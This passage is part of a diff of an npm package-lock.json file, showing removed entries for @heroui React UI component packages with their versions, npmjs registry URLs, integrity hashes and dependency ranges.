"version": "2.2.18", - "resolved": "https://registry.npmjs.org/@heroui/badge/-/badge-2.2.18.tgz", - "integrity": "sha512-OfGove8YJ9oDrdugzq05FC15ZKD5nzqe+thPZ+1SY1LZorJQjZvqSD9QnoEH1nG7fu2IdH6pYJy3sZ/b6Vj5Kg==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.23", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/breadcrumbs": { - "version": "2.2.25", - "resolved": "https://registry.npmjs.org/@heroui/breadcrumbs/-/breadcrumbs-2.2.25.tgz", - "integrity": "sha512-KmUmJiBVzRuKR1tXIvKBqz8rGz4jAPa2FqsDodQ/Z34Eagsw85l3pI6xekKacGcxNQVM+L6KhMRb00QWHT/SmQ==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@react-aria/breadcrumbs": "3.5.32", - "@react-aria/focus": "3.21.5", - "@react-types/breadcrumbs": "3.7.19" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/button": { - "version": "2.2.32", - "resolved": "https://registry.npmjs.org/@heroui/button/-/button-2.2.32.tgz", - "integrity": "sha512-i1vx4gEuyjKmz0xVu+U3PgtYrsGt1PVuWBrT/sSbNcH0AGuPSqQPQ/znwkhgZ4ixhNaU9jjVbBfIGCFGNDz7XA==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/ripple": "2.2.21", - "@heroui/shared-utils": "2.1.12", - "@heroui/spinner": "2.2.29", - "@heroui/use-aria-button": "2.2.22", - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/calendar": { - "version": "2.2.32", - "resolved": "https://registry.npmjs.org/@heroui/calendar/-/calendar-2.2.32.tgz", - "integrity": "sha512-2xzCmM7Sdz04qYr478lcH3GfGi2HWmKZ77PXrxWyRcVys+6GQpJJS712eusQBdoDNoUHUK/qZLTxihwiDC46wg==", - "license": "MIT", - "dependencies": { - "@heroui/button": "2.2.32", - "@heroui/dom-animation": "2.1.10", - "@heroui/framer-utils": "2.1.28", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-aria-button": "2.2.22", - "@internationalized/date": "3.12.0", - "@react-aria/calendar": "3.9.5", - "@react-aria/focus": "3.21.5", - "@react-aria/i18n": "3.12.16", - "@react-aria/interactions": "3.27.1", - "@react-aria/visually-hidden": "3.8.31", - "@react-stately/calendar": "3.9.3", - "@react-stately/utils": "3.11.0", - "@react-types/button": "3.15.1", - "@react-types/calendar": "3.8.3", - "@react-types/shared": "3.33.1", - "scroll-into-view-if-needed": "3.0.10" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/card": { - "version": "2.2.28", - "resolved": "https://registry.npmjs.org/@heroui/card/-/card-2.2.28.tgz", - "integrity": "sha512-njwCocEntWaYyALB+2SHzVzoG4JJMV2rG55vQ0zZIIJoG1+/F9SCfsZQ87ncf+0D7IQx6vw8fWT2VRKojmn9+w==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/ripple": "2.2.21", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-aria-button": "2.2.22", - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/checkbox": { - "version": "2.3.32", - "resolved": "https://registry.npmjs.org/@heroui/checkbox/-/checkbox-2.3.32.tgz", - "integrity": "sha512-rmFGPTgpG/Uvlr/8KjCSobT3u2Ig4/3p8s0qwTCo37uvtsCIbCYyB1yNAXZkCN2hfg5ZIBofEaYeEmw0OBsQAQ==", - "license": "MIT", - "dependencies": { - "@heroui/form": "2.1.32", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-callback-ref": "2.1.8", - "@heroui/use-safe-layout-effect": "2.1.8", - "@react-aria/checkbox": "3.16.5", - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1", - "@react-stately/checkbox": "3.7.5", - "@react-stately/toggle": "3.9.5", - "@react-types/checkbox": "3.10.4", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/chip": { - "version": "2.2.25", - "resolved": "https://registry.npmjs.org/@heroui/chip/-/chip-2.2.25.tgz", - "integrity": "sha512-kACEoF7tP9o/q5HdARaP3veD0Rl4Uxe9fiTVQvus8kN97Jnw9y4JctsUJ/vXgsscKt39qh53TB8fo8I0sJ2FPg==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/code": { - "version": "2.2.25", - "resolved": "https://registry.npmjs.org/@heroui/code/-/code-2.2.25.tgz", - "integrity": "sha512-oGaQVktqTNqRPDceuV/egVh442Ap4cbuXxVSqsmT0aNV1KnISo/P7VwLm4QDN5T3MXxN3Cs2Pw6z0+oydPL3mA==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/system-rsc": "2.3.24" - }, - "peerDependencies": { - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/date-input": { - "version": "2.3.32", - "resolved": "https://registry.npmjs.org/@heroui/date-input/-/date-input-2.3.32.tgz", - "integrity": "sha512-jk0cPMkfs0lexdJckBZ4qO96tTqT3ZMgb+Z12aS8VW3Hcbvj2vvv2fuHc7LrIg1mdUqZzZwCwUAsUGWSJDTI0w==", - "license": "MIT", - "dependencies": { - "@heroui/form": "2.1.32", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@internationalized/date": "3.12.0", - "@react-aria/datepicker": "3.16.1", - "@react-aria/i18n": "3.12.16", - "@react-stately/datepicker": "3.16.1", - "@react-types/datepicker": "3.13.5", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/date-picker": { - "version": "2.3.33", - "resolved": "https://registry.npmjs.org/@heroui/date-picker/-/date-picker-2.3.33.tgz", - "integrity": "sha512-u9N2NToMLg3hwn7WEXljhrtM/DiRrUVBqs35akW9gTQtcz1fGPugrDkJy4OsKEv7c1HuYBO0As6CM+uXERjHWw==", - "license": "MIT", - "dependencies": { - "@heroui/aria-utils": "2.2.29", - "@heroui/button": "2.2.32", - "@heroui/calendar": "2.2.32", - "@heroui/date-input": "2.3.32", - "@heroui/form": "2.1.32", - "@heroui/popover": "2.3.32", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@internationalized/date": "3.12.0", - "@react-aria/datepicker": "3.16.1", - "@react-aria/i18n": "3.12.16", - "@react-stately/datepicker": "3.16.1", - "@react-stately/utils": "3.11.0", - "@react-types/datepicker": "3.13.5", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/divider": { - "version": "2.2.24", - "resolved": "https://registry.npmjs.org/@heroui/divider/-/divider-2.2.24.tgz", - "integrity": "sha512-fq7bZFpruws3aC5X2TGMMUhcInyxQS6oWAOYrwgWX5jrmqzg/8CBtIuOehhwcm0HAk+oI55KFidJUFTuA1s7Gg==", - "license": "MIT", - "dependencies": { - "@heroui/react-rsc-utils": "2.1.9", - "@heroui/system-rsc": "2.3.24", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/dom-animation": { - "version": "2.1.10", - "resolved": "https://registry.npmjs.org/@heroui/dom-animation/-/dom-animation-2.1.10.tgz", - "integrity": "sha512-dt+0xdVPbORwNvFT5pnqV2ULLlSgOJeqlg/DMo97s9RWeD6rD4VedNY90c8C9meqWqGegQYBQ9ztsfX32mGEPA==", - "license": "MIT", - "peerDependencies": { - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1" - } - }, - "node_modules/@heroui/drawer": { - "version": "2.2.29", - "resolved": "https://registry.npmjs.org/@heroui/drawer/-/drawer-2.2.29.tgz", - "integrity": "sha512-zVBKHbcCXZGR79ORw4vQRA/QfHNLoQ9R8q6P1gsjs24uBGdBQAYvQE0F/bfsKZ5JH7asUt+oSIpjqQGmXAbyyQ==", - "license": "MIT", - "dependencies": { - "@heroui/framer-utils": "2.1.28", - "@heroui/modal": "2.2.29", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/dropdown": { - "version": "2.3.32", - "resolved": "https://registry.npmjs.org/@heroui/dropdown/-/dropdown-2.3.32.tgz", - "integrity": "sha512-+ntmjxkBaUVpyGN0pcByeTm2e2RUi5/D5uI9vPFLvJYWCa26bzQRR7EuK7LuGRXVciWl+NODNlLbSUVukkHBUA==", - "license": "MIT", - "dependencies": { - "@heroui/aria-utils": "2.2.29", - "@heroui/menu": "2.2.31", - "@heroui/popover": "2.3.32", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@react-aria/focus": "3.21.5", - "@react-aria/menu": "3.21.0", - "@react-stately/menu": "3.9.11", - "@react-types/menu": "3.10.7" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/form": { - "version": "2.1.32", - "resolved": "https://registry.npmjs.org/@heroui/form/-/form-2.1.32.tgz", - "integrity": "sha512-gcMnlNq2eI8jIvNIEas4HVmQNdkRuZnhRCx/nZOd/FtO+WQwuqN2xFAfm/nGH3Hq/7yRf2yOozuJsm7iJVaatA==", - "license": "MIT", - "dependencies": { - "@heroui/shared-utils": "2.1.12", - "@heroui/system": "2.4.28", - "@heroui/theme": "2.4.26", - "@react-stately/form": "3.2.4", - "@react-types/form": "3.7.18", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18", - "react-dom": ">=18" - } - }, - "node_modules/@heroui/framer-utils": { - "version": "2.1.28", - "resolved": "https://registry.npmjs.org/@heroui/framer-utils/-/framer-utils-2.1.28.tgz", - "integrity": "sha512-/M2nqHRx4feZx0lgA8QmHDaqu/DgsdynvSnbniptiU/Xi9XgQApCPJ0Qxgk5JZ9g2vemDFgi5AP7C7FqgiMtMA==", - "license": "MIT", - "dependencies": { - "@heroui/system": "2.4.28", - "@heroui/use-measure": "2.1.8" - }, - "peerDependencies": { - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/image": { - "version": "2.2.19", - "resolved": "https://registry.npmjs.org/@heroui/image/-/image-2.2.19.tgz", - "integrity": "sha512-XdQ1g0kiHl+Kj9Zj1NL1mbKhmzeN0h27dgfegJS2coGM/yrEavYzg1DWUEyVSzPNKFZS8BDGa9DOpWe0vgggBA==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-image": "2.1.14" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/input": { - "version": "2.4.33", - "resolved": "https://registry.npmjs.org/@heroui/input/-/input-2.4.33.tgz", - "integrity": "sha512-iDKujnKgXDbR4zLVr03Pg3TYKFR2zv0aPZUpjOvtLdB8/wNBQv+rbizqnHQPAYyDwhNQS0WguW0tQVhh4oPy4w==", - "license": "MIT", - "dependencies": { - "@heroui/form": "2.1.32", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-safe-layout-effect": "2.1.8", - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1", - "@react-aria/textfield": "3.18.5", - "@react-stately/utils": "3.11.0", - "@react-types/shared": "3.33.1", - "@react-types/textfield": "3.12.8", - "react-textarea-autosize": "^8.5.3" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/input-otp": { - "version": "2.1.32", - "resolved": "https://registry.npmjs.org/@heroui/input-otp/-/input-otp-2.1.32.tgz", - "integrity": "sha512-lrByjetK5/9MjqhDXHnhAI/gBnCJjMmR92k2HARjnJjYhljD58j6xYuf41zwp/faYkyspVvmLMPHF8qjKMTAbQ==", - "license": "MIT", - "dependencies": { - "@heroui/form": "2.1.32", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-form-reset": "2.0.1", - "@react-aria/focus": "3.21.5", - "@react-aria/form": "3.1.5", - "@react-stately/form": "3.2.4", - "@react-stately/utils": "3.11.0", - "@react-types/textfield": "3.12.8", - "input-otp": "1.4.1" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18", - "react-dom": ">=18" - } - }, - "node_modules/@heroui/kbd": { - "version": "2.2.26", - "resolved": "https://registry.npmjs.org/@heroui/kbd/-/kbd-2.2.26.tgz", - "integrity": "sha512-Z8XpQwMmNpLGlQlGD7UWRWG2S8veNb9vezfWgEKmtnnzdVM/CKSYTWctkmiruJ7tPn3XPsGTEt3QU8WPVAnpqQ==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/system-rsc": "2.3.24" - }, - "peerDependencies": { - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/link": { - "version": "2.2.26", - "resolved": "https://registry.npmjs.org/@heroui/link/-/link-2.2.26.tgz", - "integrity": "sha512-TPxd87ZP8mB8HG0GVIDTuoDxL2mcpCVUY9sjrxujAtin3781znM6jFO+O/tv0huW90+jxBHiFU1KpeZWwtl6qg==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-aria-link": "2.2.23", - "@react-aria/focus": "3.21.5", - "@react-types/link": "3.6.7" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/listbox": { - "version": "2.3.31", - "resolved": "https://registry.npmjs.org/@heroui/listbox/-/listbox-2.3.31.tgz", - "integrity": "sha512-EvYxlama0kDCtgyNfCtz/X7ftYSE0OlPGKrZrv0st0oz790x3E1EQyCEYOaDbHAnGPxJy8pRC88CbzyPWEHeXQ==", - "license": "MIT", - "dependencies": { - "@heroui/aria-utils": "2.2.29", - "@heroui/divider": "2.2.24", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-is-mobile": "2.2.12", - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1", - "@react-aria/listbox": "3.15.3", - "@react-stately/list": "3.13.4", - "@react-types/shared": "3.33.1", - "@tanstack/react-virtual": "3.11.3" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/menu": { - "version": "2.2.31", - "resolved": "https://registry.npmjs.org/@heroui/menu/-/menu-2.2.31.tgz", - "integrity": "sha512-e5VqpMapolo51kJdHdz+tm3a++dGnvPTQtma8bFPfguVzoyzbq4eicFUR9fvbvYjP2jNewwsyaoTqBvxqbueiQ==", - "license": "MIT", - "dependencies": { - "@heroui/aria-utils": "2.2.29", - "@heroui/divider": "2.2.24", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-is-mobile": "2.2.12", - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1", - "@react-aria/menu": "3.21.0", - "@react-stately/tree": "3.9.6", - "@react-types/menu": "3.10.7", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/modal": { - "version": "2.2.29", - "resolved": "https://registry.npmjs.org/@heroui/modal/-/modal-2.2.29.tgz", - "integrity": "sha512-ke6i2ByLuTE/4OZRZvgKv6A2Vf1GkitL/Lq+Bojq8ovIquphmH7AXrXkWEQ6yq1YdqYRDFcVOX/4p11Qjv4rkg==", - "license": "MIT", - "dependencies": { - "@heroui/dom-animation": "2.1.10", - "@heroui/framer-utils": "2.1.28", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-aria-button": "2.2.22", - "@heroui/use-aria-modal-overlay": "2.2.21", - "@heroui/use-disclosure": "2.2.19", - "@heroui/use-draggable": "2.1.20", - "@heroui/use-viewport-size": "2.0.1", - "@react-aria/dialog": "3.5.34", - "@react-aria/focus": "3.21.5", - "@react-aria/overlays": "3.31.2", - "@react-stately/overlays": "3.6.23" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/navbar": { - "version": "2.2.30", - "resolved": "https://registry.npmjs.org/@heroui/navbar/-/navbar-2.2.30.tgz", - "integrity": "sha512-zGMRuewcjUFZhj3hIyIWOq+iRt0Mcc8FHBDPHAcYtYe0PrfYF2Ti0WLoH5Bbf5kR3S5hYfwabyT7jtf173S7iQ==", - "license": "MIT", - "dependencies": { - "@heroui/dom-animation": "2.1.10", - "@heroui/framer-utils": "2.1.28", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-resize": "2.1.8", - "@heroui/use-scroll-position": "2.1.8", - "@react-aria/button": "3.14.5", - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1", - "@react-aria/overlays": "3.31.2", - "@react-stately/toggle": "3.9.5", - "@react-stately/utils": "3.11.0" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/number-input": { - "version": "2.0.23", - "resolved": "https://registry.npmjs.org/@heroui/number-input/-/number-input-2.0.23.tgz", - "integrity": "sha512-06Glv+X+tqSLt7i7MUJJz2Zf65+kkBaL/Cgx0Sw7iA418WejPDF3KIRee48RdfI+AOHYPAH4AD9PnGAaOJvapQ==", - "license": "MIT", - "dependencies": { - "@heroui/button": "2.2.32", - "@heroui/form": "2.1.32", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-safe-layout-effect": "2.1.8", - "@react-aria/focus": "3.21.5", - "@react-aria/i18n": "3.12.16", - "@react-aria/interactions": "3.27.1", - "@react-aria/numberfield": "3.12.5", - "@react-stately/numberfield": "3.11.0", - "@react-types/button": "3.15.1", - "@react-types/numberfield": "3.8.18", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/pagination": { - "version": "2.2.27", - "resolved": "https://registry.npmjs.org/@heroui/pagination/-/pagination-2.2.27.tgz", - "integrity": "sha512-omTpyJwGzw2fmSdfCfJuIgVmTqDaMzs4RmDtjgqEZxZCAldFlVuTWmsR1peOwzZKsrhzbp3eH/E9F6ipwF6Yug==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-intersection-observer": "2.2.14", - "@heroui/use-pagination": "2.2.20", - "@react-aria/focus": "3.21.5", - "@react-aria/i18n": "3.12.16", - "@react-aria/interactions": "3.27.1", - "@react-aria/utils": "3.33.1", - "scroll-into-view-if-needed": "3.0.10" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/popover": { - "version": "2.3.32", - "resolved": "https://registry.npmjs.org/@heroui/popover/-/popover-2.3.32.tgz", - "integrity": "sha512-aVkDt9aITI66x7nS0k2BJ7szQtNm5YV+Q31X9aWrXFkRdJ+zl0sMbo1UpVQdGSif0yH6NvsFTThmCWDQZkX6fg==", - "license": "MIT", - "dependencies": { - "@heroui/aria-utils": "2.2.29", - "@heroui/button": "2.2.32", - "@heroui/dom-animation": "2.1.10", - "@heroui/framer-utils": "2.1.28", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-aria-button": "2.2.22", - "@heroui/use-aria-overlay": "2.0.6", - "@heroui/use-safe-layout-effect": "2.1.8", - "@react-aria/dialog": "3.5.34", - "@react-aria/focus": "3.21.5", - "@react-aria/overlays": "3.31.2", - "@react-stately/overlays": "3.6.23", - "@react-types/overlays": "3.9.4" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/progress": { - "version": "2.2.25", - "resolved": "https://registry.npmjs.org/@heroui/progress/-/progress-2.2.25.tgz", - "integrity": "sha512-0aMuB3RaEheJPiQPUPRvwC1CkBG9qDRzRyUu6GT5QJfkFVmeB09NwQB4wec74qa1Ke+Yhj2KHfCVyBzYNqAifw==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-is-mounted": "2.1.8", - "@react-aria/progress": "3.4.30", - "@react-types/progress": "3.5.18" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/radio": { - "version": "2.3.32", - "resolved": "https://registry.npmjs.org/@heroui/radio/-/radio-2.3.32.tgz", - "integrity": "sha512-R0Oj8sQ5NA5LqPkouGEHPetgZxa1p7XNf5teVv0nL+8A9tg4R8VDLvL50ezc0yXp18PmfHa61AoK5DSCnyesNw==", - "license": "MIT", - "dependencies": { - "@heroui/form": "2.1.32", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1", - "@react-aria/radio": "3.12.5", - "@react-aria/visually-hidden": "3.8.31", - "@react-stately/radio": "3.11.5", - "@react-types/radio": "3.9.4", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/react": { - "version": "2.8.10", - "resolved": "https://registry.npmjs.org/@heroui/react/-/react-2.8.10.tgz", - "integrity": "sha512-rW5wFxLX3SNusf8Uhq10M5btRplKunU8glU1Gd4gD9AMIV/e7D+DGy/g2ildz2gEcMPny4C5kLcYlwRDea5oNw==", - "license": "MIT", - "dependencies": { - "@heroui/accordion": "2.2.29", - "@heroui/alert": "2.2.32", - "@heroui/autocomplete": "2.3.34", - "@heroui/avatar": "2.2.26", - "@heroui/badge": "2.2.18", - "@heroui/breadcrumbs": "2.2.25", - "@heroui/button": "2.2.32", - "@heroui/calendar": "2.2.32", - "@heroui/card": "2.2.28", - "@heroui/checkbox": "2.3.32", - "@heroui/chip": "2.2.25", - "@heroui/code": "2.2.25", - "@heroui/date-input": "2.3.32", - "@heroui/date-picker": "2.3.33", - "@heroui/divider": "2.2.24", - "@heroui/drawer": "2.2.29", - "@heroui/dropdown": "2.3.32", - "@heroui/form": "2.1.32", - "@heroui/framer-utils": "2.1.28", - "@heroui/image": "2.2.19", - "@heroui/input": "2.4.33", - "@heroui/input-otp": "2.1.32", - "@heroui/kbd": "2.2.26", - "@heroui/link": "2.2.26", - "@heroui/listbox": "2.3.31", - "@heroui/menu": "2.2.31", - "@heroui/modal": "2.2.29", - "@heroui/navbar": "2.2.30", - "@heroui/number-input": "2.0.23", - "@heroui/pagination": "2.2.27", - "@heroui/popover": "2.3.32", - "@heroui/progress": "2.2.25", - "@heroui/radio": "2.3.32", - "@heroui/ripple": "2.2.21", - "@heroui/scroll-shadow": "2.3.19", - "@heroui/select": "2.4.33", - "@heroui/skeleton": "2.2.18", - "@heroui/slider": "2.4.29", - "@heroui/snippet": "2.2.33", - "@heroui/spacer": "2.2.25", - "@heroui/spinner": "2.2.29", - "@heroui/switch": "2.2.27", - "@heroui/system": "2.4.28", - "@heroui/table": "2.2.32", - "@heroui/tabs": "2.2.29", - "@heroui/theme": "2.4.26", - "@heroui/toast": "2.0.22", - "@heroui/tooltip": "2.2.29", - "@heroui/user": "2.2.26", - "@react-aria/visually-hidden": "3.8.31" - }, - "peerDependencies": { - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/react-rsc-utils": { - "version": "2.1.9", - "resolved": "https://registry.npmjs.org/@heroui/react-rsc-utils/-/react-rsc-utils-2.1.9.tgz", - "integrity": "sha512-e77OEjNCmQxE9/pnLDDb93qWkX58/CcgIqdNAczT/zUP+a48NxGq2A2WRimvc1uviwaNL2StriE2DmyZPyYW7Q==", - "license": "MIT", - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/react-utils": { - "version": "2.1.14", - "resolved": "https://registry.npmjs.org/@heroui/react-utils/-/react-utils-2.1.14.tgz", - "integrity": "sha512-hhKklYKy9sRH52C9A8P0jWQ79W4MkIvOnKBIuxEMHhigjfracy0o0lMnAUdEsJni4oZKVJYqNGdQl+UVgcmeDA==", - "license": "MIT", - "dependencies": { - "@heroui/react-rsc-utils": "2.1.9", - "@heroui/shared-utils": "2.1.12" - }, - "peerDependencies": { - "react": ">=18 || 